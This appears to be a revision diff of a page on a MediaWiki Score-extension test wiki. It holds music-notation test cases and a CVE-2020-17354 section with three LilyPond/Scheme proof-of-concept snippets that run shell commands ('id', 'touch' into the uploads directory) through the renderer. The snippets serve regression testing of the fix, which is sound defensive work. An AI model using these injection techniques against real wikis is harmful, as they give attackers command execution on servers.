Tim paste: Difference between revisions

From ZMOG test wiki (master branch)
Jump to navigation Jump to search
No edit summary
 
(4 intermediate revisions by the same user not shown)
Line 1: Line 1:
== Normal ==
== Normal ==
<score sound=1>
<score sound=1>
% 22
% 22
\relative c' { c d e f }
\relative c' { c d e f }
</score>
</score>


Line 10: Line 11:
% 6
% 6
\relative c' {
\relative c' {
   c d e f \pageBreak |
   c d e f \pageBreak |
   c d e f
   c d e f
}
}
Line 19: Line 20:
<score raw=1 lang=lilypond>
<score raw=1 lang=lilypond>
% 6
% 6
\score { \relative c' { c d e } }
\score { \relative c' { c d e } }
\header { tagline = ##f }
\header { tagline = ##f }
\paper { #(set-paper-size "a5") }
\paper { #(set-paper-size "a5") }
</score>
</score>


== Starling ==
== Starling ==
<score vorbis="1">
<score vorbis="1">
% 8
% 8
Line 34: Line 36:
\time 2/2
\time 2/2
\partial 4
\partial 4
b8 c
b8 c d4 d d g fis fis g g a a a8 b c a b2 }
d4 d d g fis fis g g a a a8 b c a b2 }
</score>
</score>


Line 41: Line 42:


<score>
<score>
{ r2 }
{ r2 }
</score>
</score>


Line 51: Line 52:
L:1/4
L:1/4
K:C
K:C
C,   D, E, F,|G, A, B, C|D E F G|A B c d|
C, D, E, F,|G, A, B, C|D E F G|A B c d|
e f g a|b c' d' e'|f' g' a' b'|]
e f g a|b c' d' e'|f' g' a' b'|]
</score>
</score>
Line 57: Line 58:
== CVE-2020-17354 ==
== CVE-2020-17354 ==


See [https://phabricator.wikimedia.org/T259210 T259210]
See [https://phabricator.wikimedia.org/T259210 T259210]; writes files to <code>$UPLOADS/lilypond/test-{1,2,3}</code> if unremediated.


1. PoC from task:<score>
# PoC from task: <score inline>
{
{
   \relative { c' }
   \relative { c' }
}
}
#(begin
#(begin
   (define location 1)
   (define location 1)
Line 69: Line 69:
   (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
   (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
   (display "With output-def-lookup\n")
   (display "With output-def-lookup\n")
   ((ly:output-def-lookup #{ \midi {} #} 'system) "id")
   ((ly:output-def-lookup #{ \midi {} #} 'system) "touch /var/www/mediawiki-test/images/lilypond/test-1")
)
)
</score>
</score>
 
# Again, using raw=1: <score inline raw=1>
2. Again, using raw=1:<score raw=1>
\header { tagline = ##f }
\header { tagline = ##f } {
{
   \relative { c' }
   \relative { c' }
}
}
#(begin
#(begin
   (define location 1)
   (define location 1)
Line 83: Line 82:
   (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
   (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
   (display "With output-def-lookup\n")
   (display "With output-def-lookup\n")
   ((ly:output-def-lookup #{ \midi {} #} 'system) "id")
   ((ly:output-def-lookup #{ \midi {} #} 'system) "touch /var/www/mediawiki-test/images/lilypond/test-2")
)
)
</score>
</score>
 
# Notehead stencil hack PoC, contributed in [https://phabricator.wikimedia.org/T259210#6368852 comment] from LilyPond developer Han-wen Nienhuys: <score inline>
3. Notehead stencil hack PoC, contributed in [https://phabricator.wikimedia.org/T259210#6368852 comment] from LilyPond developer Han-wen Nienhuys: <score>
{
{
   \override NoteHead.text = \system
   \override NoteHead.text = \system
   \override NoteHead.stencil =
   \override NoteHead.stencil =
   #(lambda (grob)
   #(lambda (grob)
     ((cdr (assoc 'text
     ((cdr (assoc 'text
  (cadr (ly:grob-alist-chain grob '())))) "id")
  (cadr (ly:grob-alist-chain grob '())))) "touch /var/www/mediawiki-test/images/lilypond/test-3")
     #f)
     #f)
   c4
   c4
}
}
</score>
</score>

Latest revision as of 01:19, 6 December 2026

Normal

segment of music notation generated by Score

Multipage

Page 1 of music notation generated by ScorePage 2 of music notation generated by Score

Raw

segment of music notation generated by Score

Starling

segment of music notation generated by Score

Rest

segment of music notation generated by Score

ABC

segment of music notation generated by Score

CVE-2020-17354

See T259210; writes files to $UPLOADS/lilypond/test-{1,2,3} if unremediated.

  1. PoC from task:
  2. Again, using raw=1: segment of music notation generated by Score
  3. Notehead stencil hack PoC, contributed in comment from LilyPond developer Han-wen Nienhuys: segment of music notation generated by Score